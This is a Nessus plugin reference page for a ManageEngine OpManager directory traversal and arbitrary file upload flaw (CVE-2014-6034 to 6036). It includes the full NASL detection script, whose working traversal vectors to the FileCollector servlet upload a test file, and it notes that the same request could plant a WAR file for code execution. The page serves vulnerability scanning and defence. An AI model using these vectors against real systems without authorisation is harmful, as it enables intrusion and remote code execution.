ManageEngine OpManager Multiple Directory Traversal Vulnerabilities - Nessus

High   Plugin ID: 81378

This page contains detailed information about the ManageEngine OpManager Multiple Directory Traversal Vulnerabilities Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 81378
Name: ManageEngine OpManager Multiple Directory Traversal Vulnerabilities
Filename: manageengine_opmanager_11300_file_upload_exploit.nasl
Vulnerability Published: 2014-09-27
This Plugin Published: 2015-02-16
Last Modification Time: 2021-01-19
Plugin Version: 1.11
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: manageengine_opmanager_detect.nbin
Required KB Items [?]: installed_sw/ManageEngine OpManager

Vulnerability Information


Severity: High
Vulnerability Published: 2014-09-27
Patch Published: 2014-09-27
CVE [?]: CVE-2014-6034, CVE-2014-6035, CVE-2014-6036
CPE [?]: cpe:/a:zohocorp:manageengine_opmanager

Synopsis

The remote web server contains a Java web application that is affected by multiple directory traversal vulnerabilities.

Description

The version of ManageEngine OpManager installed on the remote host is affected by multiple directory traversal vulnerabilities :

- The FileCollector servlet fails to properly sanitize user-supplied input to the 'regionID' and 'FILENAME' parameters when uploading files. This allows a remote attacker and authenticated users to write to and execute arbitrary WAR files. (CVE-2014-6034, CVE-2014-6035)

- The multipartRequest servlet fails to properly sanitize user-supplied input to the 'fileName' parameter. This allows a remote attacker and authenticated users to delete arbitrary files. (CVE-2014-6036)

Note that Nessus has tested for the two directory traversal and file upload vulnerabilities; however, it did not test for the arbitrary code execution or file deletion vulnerabilities. If a file can be uploaded via the directory traversal attack, then the execution and deletion flaws are likely exploitable as well.

Solution

Upgrade to ManageEngine OpManager version 11.3 and apply the vendor-supplied patch.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the ManageEngine OpManager Multiple Directory Traversal Vulnerabilities vulnerability:

  1. Metasploit: exploit/multi/http/opmanager_socialit_file_upload
    [ManageEngine OpManager and Social IT Arbitrary File Upload]
  2. Exploit-DB: exploits/java/remote/34867.rb
    [EDB-34867: ManageEngine OpManager / Social IT - Arbitrary File Upload (Metasploit)]
  3. Exploit-DB: exploits/multiple/webapps/43896.txt
    [EDB-43896: ManageEngine OpManager / Social IT Plus / IT360 - Multiple Vulnerabilities]
  4. D2 Elliot: manageengine_opmanager_filecollector_servlet_file_upload.html
    [ManageEngine OpManager FileCollector Servlet File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2014-6035
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the manageengine_opmanager_11300_file_upload_exploit.nasl nessus plugin source code. This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(81378);
  script_version("1.11");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-6034", "CVE-2014-6035", "CVE-2014-6036");
  script_bugtraq_id(70167, 70169, 70172);

  script_name(english:"ManageEngine OpManager Multiple Directory Traversal Vulnerabilities");
  script_summary(english:"Attempts to upload a file.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a Java web application that is affected
by multiple directory traversal vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The version of ManageEngine OpManager installed on the remote host is
affected by multiple directory traversal vulnerabilities :

  - The FileCollector servlet fails to properly sanitize
    user-supplied input to the 'regionID' and 'FILENAME'
    parameters when uploading files. This allows a remote
    attacker and authenticated users to write to and
    execute arbitrary WAR files.
    (CVE-2014-6034, CVE-2014-6035)

  - The multipartRequest servlet fails to properly sanitize
    user-supplied input to the 'fileName' parameter. This
    allows a remote attacker and authenticated users to
    delete arbitrary files. (CVE-2014-6036)

Note that Nessus has tested for the two directory traversal and file
upload vulnerabilities; however, it did not test for the arbitrary
code execution or file deletion vulnerabilities. If a file can be
uploaded via the directory traversal attack, then the execution and
deletion flaws are likely exploitable as well.");
  # https://pitstop.manageengine.com/portal/kb/articles/servlet-vulnerability-fix
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?d44b4150");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2014/Sep/110");
  script_set_attribute(attribute:"solution", value:
"Upgrade to ManageEngine OpManager version 11.3 and apply the
vendor-supplied patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-6035");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"ManageEngine OpManager FileCollector Servlet File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'ManageEngine OpManager and Social IT Arbitrary File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/09/27");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/09/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/02/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_opmanager");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("manageengine_opmanager_detect.nbin");
  script_require_keys("installed_sw/ManageEngine OpManager");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "ManageEngine OpManager";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80);

install = get_single_install(
  app_name            : app,
  port                : port,
  exit_if_unknown_ver : TRUE
);

dir = install["path"];
install_url =  build_url(port:port, qs:dir);
unique = rand_str(length:10);
file = "nessus_delete_this_file_" + unique + ".css";

# Try to upload a CSS file
# While we don't try to upload a WAR file directly, if we can
# upload a CSS file we could use the same request to upload a WAR
# file which would allow for remote code execution
postdata = 'Nessus Check: '+unique;

# Couple of vectors to test
vectors = make_list(
  "servlets/FileCollector?AGENTKEY=123&FILENAME=../../../webclient/common/css/"+file,
  "servlets/FileCollector?AGENTKEY=123&FILENAME=..\\..\\..\\webclient\\common\\css\\"+file,
  "servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector?regionID=../../../webclient/common/css&FILENAME="+file,
  "servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector?regionID=..\\..\\..\\webclient\\common\\css&FILENAME="+file
);

uploaded = FALSE;
executed = FALSE;
vecurl   = "";
foreach vector (vectors)
{

  res = http_send_recv3(
    port            : port,
    method          : "POST",
    item            : dir+vector,
    data            : postdata,
    content_type    : "text/html",
    exit_on_fail    : TRUE
  );
  exp_request = http_last_sent_request();

  # Try and access our uploaded file
  res = http_send_recv3(
    method : "GET",
    port   : port,
    item   : dir + "webclient/common/css/" +file,
    exit_on_fail : TRUE
  );

  # Only need to upload one file
  if("Nessus Check: "+unique >< res[2])
  {
    uploaded = TRUE;
    vecurl = vector;
    break;
  }
}

if (uploaded)
{
  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    file        : dir+"webclient/common/css/"+file,
    line_limit  : 10,
    request     : make_list(exp_request),
    output      : chomp(res[2]),
    attach_type : 'text/plain'
  );
} else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/manageengine_opmanager_11300_file_upload_exploit.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\manageengine_opmanager_11300_file_upload_exploit.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/manageengine_opmanager_11300_file_upload_exploit.nasl

Go back to menu.

How to Run


Here is how to run the ManageEngine OpManager Multiple Directory Traversal Vulnerabilities as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select ManageEngine OpManager Multiple Directory Traversal Vulnerabilities plugin ID 81378.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl manageengine_opmanager_11300_file_upload_exploit.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a manageengine_opmanager_11300_file_upload_exploit.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - manageengine_opmanager_11300_file_upload_exploit.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state manageengine_opmanager_11300_file_upload_exploit.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 153157 - ManageEngine ADManager Plus < 7111 RCE
  • 152680 - ManageEngine ADSelfService Plus < Build 6102 RCE
  • 153147 - ManageEngine ADSelfService Plus < build 6114 REST API Authentication Bypass
  • 154964 - ManageEngine ADSelfServicePlus Authentication Bypass (CVE-2021-40539)
  • 84017 - ManageEngine Applications Manager FailOverHelperServlet 'fileName' Parameter Arbitrary File Disclosure
  • 144793 - ManageEngine Applications Manager REST API SQLi
  • 117639 - ManageEngine Desktop Central 10 < Build 100282 Remote Privilege Escalation
  • 134677 - ManageEngine Desktop Central 10 < Build 100479 Remote Code Execution
  • 139377 - ManageEngine Desktop Central < 10 Build 10.0.533 Integer Overflow
  • 82078 - ManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)
  • 82079 - ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)
  • 82080 - ManageEngine Desktop Central Remote Security Bypass (Intrusive Check)
  • 82081 - ManageEngine Desktop Central Remote Security Bypass
  • 82082 - ManageEngine Desktop Central < 9 build 90103 XSRF
  • 71217 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)
  • 71218 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload
  • 135293 - ManageEngine Desktop Central 10 < Build 100479 Remote Code Execution (direct check)
  • 77530 - ManageEngine DeviceExpert Unauthorized Information Disclosure
  • 58428 - ManageEngine DeviceExpert ScheduleResultViewer Remote Directory Traversal
  • 81402 - ManageEngine EventLog Analyzer 'agentHandler' Information Disclosure
  • 153848 - ManageEngine EventLog Analyzer < Build 12201 REST API Restriction Bypass RCE
  • 153636 - ManageEngine Log360 < Build 5229 REST API Restriction Bypass RCE
  • 157290 - ManageEngine NCM < 12.5.465 SQLi
  • 81821 - ManageEngine NetFlow Analyzer Multiple Path Traversal and File Access
  • 148307 - ManageEngine OpManager Smart Update Manager RCE
  • 81380 - ManageEngine OpManager Default Credentials
  • 80960 - ManageEngine Password Manager Pro 6.5 < 7.1 Build 7105 Blind SQL Injection
  • 80962 - ManageEngine Password Manager Pro < 7.0 Build 7003 SQL Injection
  • 63206 - ManageEngine Security Manager Plus 'f' Directory Traversal Arbitrary File Access
  • 143600 - ManageEngine ServiceDesk Plus < 10.0 Build 10012 Arbitrary File Upload
  • 155864 - ManageEngine ServiceDesk Plus < 11.3 Build 11306 / ManageEngine ServiceDesk Plus MSP < 10.5 Build 10530 RCE
  • 151286 - ManageEngine ServiceDesk Plus < 11.2 Build 11205 RCE
  • 55446 - ManageEngine ServiceDesk Plus FileDownload.jsp FILENAME Parameter Traversal Arbitrary File Access
  • 58976 - ManageEngine SupportCenter Plus < 7.9 Build 7905 Multiple Vulnerabilities
  • 72257 - ManageEngine SupportCenter Plus < 7.9 Build 7917 attach Parameter Directory Traversal

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file manageengine_opmanager_11300_file_upload_exploit.nasl version 1.11. For more plugins, visit the Nessus Plugin Library.

Go back to menu.